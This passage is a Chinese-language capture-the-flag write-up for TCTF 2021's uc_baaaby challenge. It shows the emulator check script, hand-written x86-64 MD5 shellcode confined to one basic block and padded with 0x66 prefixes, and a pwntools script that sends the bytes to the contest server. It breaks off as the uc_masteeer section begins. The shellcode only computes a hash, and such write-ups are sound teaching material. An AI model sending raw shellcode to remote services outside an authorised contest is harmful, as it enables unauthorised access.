TCTF2021: uc_master uc_baaby FEA

TCTF2021: uc_masteeer uc_baaaby FEA

uc_baaaby

题目给出的脚本如下 uc_baaaby.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
from unicorn import *
from unicorn.x86_const import *
import os
import sys
import struct
import hashlib

FLAG = 'flag{xxxx}'
CODE = 0xdeadbeef000
DATA = 0xbabecafe000
finished = False
insn_count = 0
block_count = 0


def hook_block(uc, address, size, user_data):
global block_count
block_count += 1
if block_count > 1:
print('No cheating!')
uc.emu_stop()


def hook_code(uc, address, size, user_data):
global insn_count, finished
insn_count += 1
if address == CODE + 0x2000:
finished = True


def play():
global finished
uc = Uc(UC_ARCH_X86, UC_MODE_64)

code = os.read(0, 0x2000)

uc.mem_map(CODE, 0x3000, UC_PROT_READ | UC_PROT_EXEC)
uc.mem_write(CODE, code)
uc.mem_write(CODE + 0x2000, b'\xf4')

check_data = os.urandom(50)
uc.mem_map(DATA, 0x1000, UC_PROT_READ | UC_PROT_WRITE)
uc.mem_write(DATA, check_data)

uc.hook_add(UC_HOOK_CODE, hook_code)
uc.hook_add(UC_HOOK_BLOCK, hook_block)

try:
uc.emu_start(CODE, CODE + 0x3000)
except UcError as e:
finished = False
return False

user_data = uc.mem_read(DATA + 0x800, 16)
if user_data == hashlib.md5(check_data).digest():
print('Nice.')
return True
else:
print('0ops.')
return False


if __name__ == '__main__':
print('Welcome to uc_baaaby')
win = play()
if finished and win:
print("Congratulation! You've reached the end!")
print(f'You took {insn_count} seconds.\n')
if insn_count < 0x233:
print('How is this possible??? Even Bolt can\'t run this fast.')
print('Prize for you:', FLAG)
elif insn_count < 0x300:
print('Come on. You can be faster.')
else:
print('Gege jia you.')

需要构造 shellcode 计算 check_data 的 MD5 值。 check_data 会被写入到 DATA 地址,shellcode 应该将计算的 MD5 结果 16 字节写入到 DATA + 0x800 地址。

根据题目代码逻辑得出 shellcode 的限制条件:

  1. shellcode 指令执行数小于 0x233
  2. shellcode 只能有一个基本块,不能存在任何跳转(ret也不行)
  3. shellcode 必须要执行到 0x2000 停止

12 条件好满足,check_data 的长度固定是 50 字节,只需要计算一个 md5 分组,提前计算 padding 数据,尾加到 check_data 尾部,然后调用 64 个 MD5 计算子过程,最后将结果写入 DATA + 0x800 内存。

shellcode 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
.globl md5_compress
.globl block1
.globl dist
md5_compress:
#define ROUND0(a, b, c, d, k, s, t) \
movl %c, %esi; \
addl (k*4)(%rbp), %a; \
xorl %d, %esi; \
andl %b, %esi; \
xorl %d, %esi; \
leal t(%esi,%a), %a; \
roll $s, %a; \
addl %b, %a;

#define ROUND1(a, b, c, d, k, s, t) \
movl %d, %esi; \
movl %d, %edi; \
addl (k*4)(%rbp), %a; \
notl %esi; \
andl %b, %edi; \
andl %c, %esi; \
orl %edi, %esi; \
leal t(%esi,%a), %a; \
roll $s, %a; \
addl %b, %a;

#define ROUND2(a, b, c, d, k, s, t) \
movl %c, %esi; \
addl (k*4)(%rbp), %a; \
xorl %d, %esi; \
xorl %b, %esi; \
leal t(%esi,%a), %a; \
roll $s, %a; \
addl %b, %a;

#define ROUND3(a, b, c, d, k, s, t) \
movl %d, %esi; \
not %esi; \
addl (k*4)(%rbp), %a; \
orl %b, %esi; \
xorl %c, %esi; \
leal t(%esi,%a), %a; \
roll $s, %a; \
addl %b, %a;


movq $block1, %rbp
nop
nop
nop
nop
movl $0x67452301, %eax
movl $0xefcdab89, %ebx
movl $0x98badcfe, %ecx
movl $0x10325476, %edx
/* pading data */
movl $0x80, 0x32(%rbp)
movl $0x1900000, 0x36(%rbp)
movq $0x0, 0x3a(%rbp)


ROUND0(eax, ebx, ecx, edx, 0, 7, -0x28955B88)
ROUND0(edx, eax, ebx, ecx, 1, 12, -0x173848AA)
ROUND0(ecx, edx, eax, ebx, 2, 17, 0x242070DB)
ROUND0(ebx, ecx, edx, eax, 3, 22, -0x3E423112)
ROUND0(eax, ebx, ecx, edx, 4, 7, -0x0A83F051)
ROUND0(edx, eax, ebx, ecx, 5, 12, 0x4787C62A)
ROUND0(ecx, edx, eax, ebx, 6, 17, -0x57CFB9ED)
ROUND0(ebx, ecx, edx, eax, 7, 22, -0x02B96AFF)
ROUND0(eax, ebx, ecx, edx, 8, 7, 0x698098D8)
ROUND0(edx, eax, ebx, ecx, 9, 12, -0x74BB0851)
ROUND0(ecx, edx, eax, ebx, 10, 17, -0x0000A44F)
ROUND0(ebx, ecx, edx, eax, 11, 22, -0x76A32842)
ROUND0(eax, ebx, ecx, edx, 12, 7, 0x6B901122)
ROUND0(edx, eax, ebx, ecx, 13, 12, -0x02678E6D)
ROUND0(ecx, edx, eax, ebx, 14, 17, -0x5986BC72)
ROUND0(ebx, ecx, edx, eax, 15, 22, 0x49B40821)
ROUND1(eax, ebx, ecx, edx, 1, 5, -0x09E1DA9E)
ROUND1(edx, eax, ebx, ecx, 6, 9, -0x3FBF4CC0)
ROUND1(ecx, edx, eax, ebx, 11, 14, 0x265E5A51)
ROUND1(ebx, ecx, edx, eax, 0, 20, -0x16493856)
ROUND1(eax, ebx, ecx, edx, 5, 5, -0x29D0EFA3)
ROUND1(edx, eax, ebx, ecx, 10, 9, 0x02441453)
ROUND1(ecx, edx, eax, ebx, 15, 14, -0x275E197F)
ROUND1(ebx, ecx, edx, eax, 4, 20, -0x182C0438)
ROUND1(eax, ebx, ecx, edx, 9, 5, 0x21E1CDE6)
ROUND1(edx, eax, ebx, ecx, 14, 9, -0x3CC8F82A)
ROUND1(ecx, edx, eax, ebx, 3, 14, -0x0B2AF279)
ROUND1(ebx, ecx, edx, eax, 8, 20, 0x455A14ED)
ROUND1(eax, ebx, ecx, edx, 13, 5, -0x561C16FB)
ROUND1(edx, eax, ebx, ecx, 2, 9, -0x03105C08)
ROUND1(ecx, edx, eax, ebx, 7, 14, 0x676F02D9)
ROUND1(ebx, ecx, edx, eax, 12, 20, -0x72D5B376)
ROUND2(eax, ebx, ecx, edx, 5, 4, -0x0005C6BE)
ROUND2(edx, eax, ebx, ecx, 8, 11, -0x788E097F)
ROUND2(ecx, edx, eax, ebx, 11, 16, 0x6D9D6122)
ROUND2(ebx, ecx, edx, eax, 14, 23, -0x021AC7F4)
ROUND2(eax, ebx, ecx, edx, 1, 4, -0x5B4115BC)
ROUND2(edx, eax, ebx, ecx, 4, 11, 0x4BDECFA9)
ROUND2(ecx, edx, eax, ebx, 7, 16, -0x0944B4A0)
ROUND2(ebx, ecx, edx, eax, 10, 23, -0x41404390)
ROUND2(eax, ebx, ecx, edx, 13, 4, 0x289B7EC6)
ROUND2(edx, eax, ebx, ecx, 0, 11, -0x155ED806)
ROUND2(ecx, edx, eax, ebx, 3, 16, -0x2B10CF7B)
ROUND2(ebx, ecx, edx, eax, 6, 23, 0x04881D05)
ROUND2(eax, ebx, ecx, edx, 9, 4, -0x262B2FC7)
ROUND2(edx, eax, ebx, ecx, 12, 11, -0x1924661B)
ROUND2(ecx, edx, eax, ebx, 15, 16, 0x1FA27CF8)
ROUND2(ebx, ecx, edx, eax, 2, 23, -0x3B53A99B)
ROUND3(eax, ebx, ecx, edx, 0, 6, -0x0BD6DDBC)
ROUND3(edx, eax, ebx, ecx, 7, 10, 0x432AFF97)
ROUND3(ecx, edx, eax, ebx, 14, 15, -0x546BDC59)
ROUND3(ebx, ecx, edx, eax, 5, 21, -0x036C5FC7)
ROUND3(eax, ebx, ecx, edx, 12, 6, 0x655B59C3)
ROUND3(edx, eax, ebx, ecx, 3, 10, -0x70F3336E)
ROUND3(ecx, edx, eax, ebx, 10, 15, -0x00100B83)
ROUND3(ebx, ecx, edx, eax, 1, 21, -0x7A7BA22F)
ROUND3(eax, ebx, ecx, edx, 8, 6, 0x6FA87E4F)
ROUND3(edx, eax, ebx, ecx, 15, 10, -0x01D31920)
ROUND3(ecx, edx, eax, ebx, 6, 15, -0x5CFEBCEC)
ROUND3(ebx, ecx, edx, eax, 13, 21, 0x4E0811A1)
ROUND3(eax, ebx, ecx, edx, 4, 6, -0x08AC817E)
ROUND3(edx, eax, ebx, ecx, 11, 10, -0x42C50DCB)
ROUND3(ecx, edx, eax, ebx, 2, 15, 0x2AD7D2BB)
ROUND3(ebx, ecx, edx, eax, 9, 21, -0x14792C6F)

/* Save updated state */
addl $0x67452301, %eax
addl $0xefcdab89, %ebx
addl $0x98badcfe, %ecx
addl $0x10325476, %edx
movq $dist, %r8
nop
nop
nop
nop
movl %eax, 0(%r8)
movl %ebx, 4(%r8)
movl %ecx, 8(%r8)
movl %edx, 12(%r8)

编译后, shellcode 中 block1 patch 为 DATA 地址, dist patch 为 DATA + 0x800 地址。

上面构造的 shellcode 的指令执行数量满足要求,但是不满足条件3,条件3要求指令执行结束的地址必须 0x2000,然而该 shellcode 的字节长度远远够不到 0x2000。

添加指令前缀 0x66 可以改变单条指令的大小,却不影响指令数量,而且好像可以无限添加。在第一条指令前添加 0x66 对齐到0x2000字节

最终 exp 如下

1
2
3
4
5
6
7
8
9
10
from pwn import *
code = [0x48, 0xBD, 0x00, 0xE0, 0xAF, 0xEC, 0xAB, 0x0B, 0x00, 0x00, 0x90, 0xB8, 0x01, 0x23, 0x45, 0x67, 0xBB, 0x89, 0xAB, 0xCD, 0xEF, 0xB9, 0xFE, 0xDC, 0xBA, 0x98, 0xBA, 0x76, 0x54, 0x32, 0x10, 0xC7, 0x45, 0x32, 0x80, 0x00, 0x00, 0x00, 0xC7, 0x45, 0x36, 0x00, 0x00, 0x90, 0x01, 0x48, 0xC7, 0x45, 0x3A, 0x00, 0x00, 0x00, 0x00, 0x89, 0xCE, 0x03, 0x45, 0x00, 0x31, 0xD6, 0x21, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x84, 0x06, 0x78, 0xA4, 0x6A, 0xD7, 0xC1, 0xC0, 0x07, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x04, 0x31, 0xCE, 0x21, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x94, 0x16, 0x56, 0xB7, 0xC7, 0xE8, 0xC1, 0xC2, 0x0C, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x08, 0x31, 0xDE, 0x21, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x8C, 0x0E, 0xDB, 0x70, 0x20, 0x24, 0xC1, 0xC1, 0x11, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x0C, 0x31, 0xC6, 0x21, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x9C, 0x1E, 0xEE, 0xCE, 0xBD, 0xC1, 0xC1, 0xC3, 0x16, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x10, 0x31, 0xD6, 0x21, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x84, 0x06, 0xAF, 0x0F, 0x7C, 0xF5, 0xC1, 0xC0, 0x07, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x14, 0x31, 0xCE, 0x21, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x94, 0x16, 0x2A, 0xC6, 0x87, 0x47, 0xC1, 0xC2, 0x0C, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x18, 0x31, 0xDE, 0x21, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x8C, 0x0E, 0x13, 0x46, 0x30, 0xA8, 0xC1, 0xC1, 0x11, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x1C, 0x31, 0xC6, 0x21, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x9C, 0x1E, 0x01, 0x95, 0x46, 0xFD, 0xC1, 0xC3, 0x16, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x20, 0x31, 0xD6, 0x21, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x84, 0x06, 0xD8, 0x98, 0x80, 0x69, 0xC1, 0xC0, 0x07, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x24, 0x31, 0xCE, 0x21, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x94, 0x16, 0xAF, 0xF7, 0x44, 0x8B, 0xC1, 0xC2, 0x0C, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x28, 0x31, 0xDE, 0x21, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x8C, 0x0E, 0xB1, 0x5B, 0xFF, 0xFF, 0xC1, 0xC1, 0x11, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x2C, 0x31, 0xC6, 0x21, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x9C, 0x1E, 0xBE, 0xD7, 0x5C, 0x89, 0xC1, 0xC3, 0x16, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x30, 0x31, 0xD6, 0x21, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x84, 0x06, 0x22, 0x11, 0x90, 0x6B, 0xC1, 0xC0, 0x07, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x34, 0x31, 0xCE, 0x21, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x94, 0x16, 0x93, 0x71, 0x98, 0xFD, 0xC1, 0xC2, 0x0C, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x38, 0x31, 0xDE, 0x21, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x8C, 0x0E, 0x8E, 0x43, 0x79, 0xA6, 0xC1, 0xC1, 0x11, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x3C, 0x31, 0xC6, 0x21, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x9C, 0x1E, 0x21, 0x08, 0xB4, 0x49, 0xC1, 0xC3, 0x16, 0x01, 0xCB, 0x89, 0xD6, 0x89, 0xD7, 0x03, 0x45, 0x04, 0xF7, 0xD6, 0x21, 0xDF, 0x21, 0xCE, 0x09, 0xFE, 0x67, 0x8D, 0x84, 0x06, 0x62, 0x25, 0x1E, 0xF6, 0xC1, 0xC0, 0x05, 0x01, 0xD8, 0x89, 0xCE, 0x89, 0xCF, 0x03, 0x55, 0x18, 0xF7, 0xD6, 0x21, 0xC7, 0x21, 0xDE, 0x09, 0xFE, 0x67, 0x8D, 0x94, 0x16, 0x40, 0xB3, 0x40, 0xC0, 0xC1, 0xC2, 0x09, 0x01, 0xC2, 0x89, 0xDE, 0x89, 0xDF, 0x03, 0x4D, 0x2C, 0xF7, 0xD6, 0x21, 0xD7, 0x21, 0xC6, 0x09, 0xFE, 0x67, 0x8D, 0x8C, 0x0E, 0x51, 0x5A, 0x5E, 0x26, 0xC1, 0xC1, 0x0E, 0x01, 0xD1, 0x89, 0xC6, 0x89, 0xC7, 0x03, 0x5D, 0x00, 0xF7, 0xD6, 0x21, 0xCF, 0x21, 0xD6, 0x09, 0xFE, 0x67, 0x8D, 0x9C, 0x1E, 0xAA, 0xC7, 0xB6, 0xE9, 0xC1, 0xC3, 0x14, 0x01, 0xCB, 0x89, 0xD6, 0x89, 0xD7, 0x03, 0x45, 0x14, 0xF7, 0xD6, 0x21, 0xDF, 0x21, 0xCE, 0x09, 0xFE, 0x67, 0x8D, 0x84, 0x06, 0x5D, 0x10, 0x2F, 0xD6, 0xC1, 0xC0, 0x05, 0x01, 0xD8, 0x89, 0xCE, 0x89, 0xCF, 0x03, 0x55, 0x28, 0xF7, 0xD6, 0x21, 0xC7, 0x21, 0xDE, 0x09, 0xFE, 0x67, 0x8D, 0x94, 0x16, 0x53, 0x14, 0x44, 0x02, 0xC1, 0xC2, 0x09, 0x01, 0xC2, 0x89, 0xDE, 0x89, 0xDF, 0x03, 0x4D, 0x3C, 0xF7, 0xD6, 0x21, 0xD7, 0x21, 0xC6, 0x09, 0xFE, 0x67, 0x8D, 0x8C, 0x0E, 0x81, 0xE6, 0xA1, 0xD8, 0xC1, 0xC1, 0x0E, 0x01, 0xD1, 0x89, 0xC6, 0x89, 0xC7, 0x03, 0x5D, 0x10, 0xF7, 0xD6, 0x21, 0xCF, 0x21, 0xD6, 0x09, 0xFE, 0x67, 0x8D, 0x9C, 0x1E, 0xC8, 0xFB, 0xD3, 0xE7, 0xC1, 0xC3, 0x14, 0x01, 0xCB, 0x89, 0xD6, 0x89, 0xD7, 0x03, 0x45, 0x24, 0xF7, 0xD6, 0x21, 0xDF, 0x21, 0xCE, 0x09, 0xFE, 0x67, 0x8D, 0x84, 0x06, 0xE6, 0xCD, 0xE1, 0x21, 0xC1, 0xC0, 0x05, 0x01, 0xD8, 0x89, 0xCE, 0x89, 0xCF, 0x03, 0x55, 0x38, 0xF7, 0xD6, 0x21, 0xC7, 0x21, 0xDE, 0x09, 0xFE, 0x67, 0x8D, 0x94, 0x16, 0xD6, 0x07, 0x37, 0xC3, 0xC1, 0xC2, 0x09, 0x01, 0xC2, 0x89, 0xDE, 0x89, 0xDF, 0x03, 0x4D, 0x0C, 0xF7, 0xD6, 0x21, 0xD7, 0x21, 0xC6, 0x09, 0xFE, 0x67, 0x8D, 0x8C, 0x0E, 0x87, 0x0D, 0xD5, 0xF4, 0xC1, 0xC1, 0x0E, 0x01, 0xD1, 0x89, 0xC6, 0x89, 0xC7, 0x03, 0x5D, 0x20, 0xF7, 0xD6, 0x21, 0xCF, 0x21, 0xD6, 0x09, 0xFE, 0x67, 0x8D, 0x9C, 0x1E, 0xED, 0x14, 0x5A, 0x45, 0xC1, 0xC3, 0x14, 0x01, 0xCB, 0x89, 0xD6, 0x89, 0xD7, 0x03, 0x45, 0x34, 0xF7, 0xD6, 0x21, 0xDF, 0x21, 0xCE, 0x09, 0xFE, 0x67, 0x8D, 0x84, 0x06, 0x05, 0xE9, 0xE3, 0xA9, 0xC1, 0xC0, 0x05, 0x01, 0xD8, 0x89, 0xCE, 0x89, 0xCF, 0x03, 0x55, 0x08, 0xF7, 0xD6, 0x21, 0xC7, 0x21, 0xDE, 0x09, 0xFE, 0x67, 0x8D, 0x94, 0x16, 0xF8, 0xA3, 0xEF, 0xFC, 0xC1, 0xC2, 0x09, 0x01, 0xC2, 0x89, 0xDE, 0x89, 0xDF, 0x03, 0x4D, 0x1C, 0xF7, 0xD6, 0x21, 0xD7, 0x21, 0xC6, 0x09, 0xFE, 0x67, 0x8D, 0x8C, 0x0E, 0xD9, 0x02, 0x6F, 0x67, 0xC1, 0xC1, 0x0E, 0x01, 0xD1, 0x89, 0xC6, 0x89, 0xC7, 0x03, 0x5D, 0x30, 0xF7, 0xD6, 0x21, 0xCF, 0x21, 0xD6, 0x09, 0xFE, 0x67, 0x8D, 0x9C, 0x1E, 0x8A, 0x4C, 0x2A, 0x8D, 0xC1, 0xC3, 0x14, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x14, 0x31, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x84, 0x06, 0x42, 0x39, 0xFA, 0xFF, 0xC1, 0xC0, 0x04, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x20, 0x31, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x94, 0x16, 0x81, 0xF6, 0x71, 0x87, 0xC1, 0xC2, 0x0B, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x2C, 0x31, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x8C, 0x0E, 0x22, 0x61, 0x9D, 0x6D, 0xC1, 0xC1, 0x10, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x38, 0x31, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x9C, 0x1E, 0x0C, 0x38, 0xE5, 0xFD, 0xC1, 0xC3, 0x17, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x04, 0x31, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x84, 0x06, 0x44, 0xEA, 0xBE, 0xA4, 0xC1, 0xC0, 0x04, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x10, 0x31, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x94, 0x16, 0xA9, 0xCF, 0xDE, 0x4B, 0xC1, 0xC2, 0x0B, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x1C, 0x31, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x8C, 0x0E, 0x60, 0x4B, 0xBB, 0xF6, 0xC1, 0xC1, 0x10, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x28, 0x31, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x9C, 0x1E, 0x70, 0xBC, 0xBF, 0xBE, 0xC1, 0xC3, 0x17, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x34, 0x31, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x84, 0x06, 0xC6, 0x7E, 0x9B, 0x28, 0xC1, 0xC0, 0x04, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x00, 0x31, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x94, 0x16, 0xFA, 0x27, 0xA1, 0xEA, 0xC1, 0xC2, 0x0B, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x0C, 0x31, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x8C, 0x0E, 0x85, 0x30, 0xEF, 0xD4, 0xC1, 0xC1, 0x10, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x18, 0x31, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x9C, 0x1E, 0x05, 0x1D, 0x88, 0x04, 0xC1, 0xC3, 0x17, 0x01, 0xCB, 0x89, 0xCE, 0x03, 0x45, 0x24, 0x31, 0xD6, 0x31, 0xDE, 0x67, 0x8D, 0x84, 0x06, 0x39, 0xD0, 0xD4, 0xD9, 0xC1, 0xC0, 0x04, 0x01, 0xD8, 0x89, 0xDE, 0x03, 0x55, 0x30, 0x31, 0xCE, 0x31, 0xC6, 0x67, 0x8D, 0x94, 0x16, 0xE5, 0x99, 0xDB, 0xE6, 0xC1, 0xC2, 0x0B, 0x01, 0xC2, 0x89, 0xC6, 0x03, 0x4D, 0x3C, 0x31, 0xDE, 0x31, 0xD6, 0x67, 0x8D, 0x8C, 0x0E, 0xF8, 0x7C, 0xA2, 0x1F, 0xC1, 0xC1, 0x10, 0x01, 0xD1, 0x89, 0xD6, 0x03, 0x5D, 0x08, 0x31, 0xC6, 0x31, 0xCE, 0x67, 0x8D, 0x9C, 0x1E, 0x65, 0x56, 0xAC, 0xC4, 0xC1, 0xC3, 0x17, 0x01, 0xCB, 0x89, 0xD6, 0xF7, 0xD6, 0x03, 0x45, 0x00, 0x09, 0xDE, 0x31, 0xCE, 0x67, 0x8D, 0x84, 0x06, 0x44, 0x22, 0x29, 0xF4, 0xC1, 0xC0, 0x06, 0x01, 0xD8, 0x89, 0xCE, 0xF7, 0xD6, 0x03, 0x55, 0x1C, 0x09, 0xC6, 0x31, 0xDE, 0x67, 0x8D, 0x94, 0x16, 0x97, 0xFF, 0x2A, 0x43, 0xC1, 0xC2, 0x0A, 0x01, 0xC2, 0x89, 0xDE, 0xF7, 0xD6, 0x03, 0x4D, 0x38, 0x09, 0xD6, 0x31, 0xC6, 0x67, 0x8D, 0x8C, 0x0E, 0xA7, 0x23, 0x94, 0xAB, 0xC1, 0xC1, 0x0F, 0x01, 0xD1, 0x89, 0xC6, 0xF7, 0xD6, 0x03, 0x5D, 0x14, 0x09, 0xCE, 0x31, 0xD6, 0x67, 0x8D, 0x9C, 0x1E, 0x39, 0xA0, 0x93, 0xFC, 0xC1, 0xC3, 0x15, 0x01, 0xCB, 0x89, 0xD6, 0xF7, 0xD6, 0x03, 0x45, 0x30, 0x09, 0xDE, 0x31, 0xCE, 0x67, 0x8D, 0x84, 0x06, 0xC3, 0x59, 0x5B, 0x65, 0xC1, 0xC0, 0x06, 0x01, 0xD8, 0x89, 0xCE, 0xF7, 0xD6, 0x03, 0x55, 0x0C, 0x09, 0xC6, 0x31, 0xDE, 0x67, 0x8D, 0x94, 0x16, 0x92, 0xCC, 0x0C, 0x8F, 0xC1, 0xC2, 0x0A, 0x01, 0xC2, 0x89, 0xDE, 0xF7, 0xD6, 0x03, 0x4D, 0x28, 0x09, 0xD6, 0x31, 0xC6, 0x67, 0x8D, 0x8C, 0x0E, 0x7D, 0xF4, 0xEF, 0xFF, 0xC1, 0xC1, 0x0F, 0x01, 0xD1, 0x89, 0xC6, 0xF7, 0xD6, 0x03, 0x5D, 0x04, 0x09, 0xCE, 0x31, 0xD6, 0x67, 0x8D, 0x9C, 0x1E, 0xD1, 0x5D, 0x84, 0x85, 0xC1, 0xC3, 0x15, 0x01, 0xCB, 0x89, 0xD6, 0xF7, 0xD6, 0x03, 0x45, 0x20, 0x09, 0xDE, 0x31, 0xCE, 0x67, 0x8D, 0x84, 0x06, 0x4F, 0x7E, 0xA8, 0x6F, 0xC1, 0xC0, 0x06, 0x01, 0xD8, 0x89, 0xCE, 0xF7, 0xD6, 0x03, 0x55, 0x3C, 0x09, 0xC6, 0x31, 0xDE, 0x67, 0x8D, 0x94, 0x16, 0xE0, 0xE6, 0x2C, 0xFE, 0xC1, 0xC2, 0x0A, 0x01, 0xC2, 0x89, 0xDE, 0xF7, 0xD6, 0x03, 0x4D, 0x18, 0x09, 0xD6, 0x31, 0xC6, 0x67, 0x8D, 0x8C, 0x0E, 0x14, 0x43, 0x01, 0xA3, 0xC1, 0xC1, 0x0F, 0x01, 0xD1, 0x89, 0xC6, 0xF7, 0xD6, 0x03, 0x5D, 0x34, 0x09, 0xCE, 0x31, 0xD6, 0x67, 0x8D, 0x9C, 0x1E, 0xA1, 0x11, 0x08, 0x4E, 0xC1, 0xC3, 0x15, 0x01, 0xCB, 0x89, 0xD6, 0xF7, 0xD6, 0x03, 0x45, 0x10, 0x09, 0xDE, 0x31, 0xCE, 0x67, 0x8D, 0x84, 0x06, 0x82, 0x7E, 0x53, 0xF7, 0xC1, 0xC0, 0x06, 0x01, 0xD8, 0x89, 0xCE, 0xF7, 0xD6, 0x03, 0x55, 0x2C, 0x09, 0xC6, 0x31, 0xDE, 0x67, 0x8D, 0x94, 0x16, 0x35, 0xF2, 0x3A, 0xBD, 0xC1, 0xC2, 0x0A, 0x01, 0xC2, 0x89, 0xDE, 0xF7, 0xD6, 0x03, 0x4D, 0x08, 0x09, 0xD6, 0x31, 0xC6, 0x67, 0x8D, 0x8C, 0x0E, 0xBB, 0xD2, 0xD7, 0x2A, 0xC1, 0xC1, 0x0F, 0x01, 0xD1, 0x89, 0xC6, 0xF7, 0xD6, 0x03, 0x5D, 0x24, 0x09, 0xCE, 0x31, 0xD6, 0x67, 0x8D, 0x9C, 0x1E, 0x91, 0xD3, 0x86, 0xEB, 0xC1, 0xC3, 0x15, 0x01, 0xCB, 0x05, 0x01, 0x23, 0x45, 0x67, 0x81, 0xC3, 0x89, 0xAB, 0xCD, 0xEF, 0x81, 0xC1, 0xFE, 0xDC, 0xBA, 0x98, 0x81, 0xC2, 0x76, 0x54, 0x32, 0x10, 0x49, 0xB8, 0x00, 0xE8, 0xAF, 0xEC, 0xAB, 0x0B, 0x00, 0x00, 0x90, 0x41, 0x89, 0x00, 0x41, 0x89, 0x58, 0x04, 0x41, 0x89, 0x48, 0x08, 0x41, 0x89, 0x50, 0x0C]


code = bytes(code)
code = code.rjust(0x2000, b'\x66')
print("code len:", hex(len(code)))
p = remote('111.186.59.29', 10086)
p.send(code)
p.interactive()

uc_master

题目下载: uc_masteeer.zip

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python
import os
import struct
import types
from unicorn import *
from unicorn.x86_const import *

from syscall import hook_syscall


CODE = 0xdeadbeef000
STACK = 0xbabecafe000
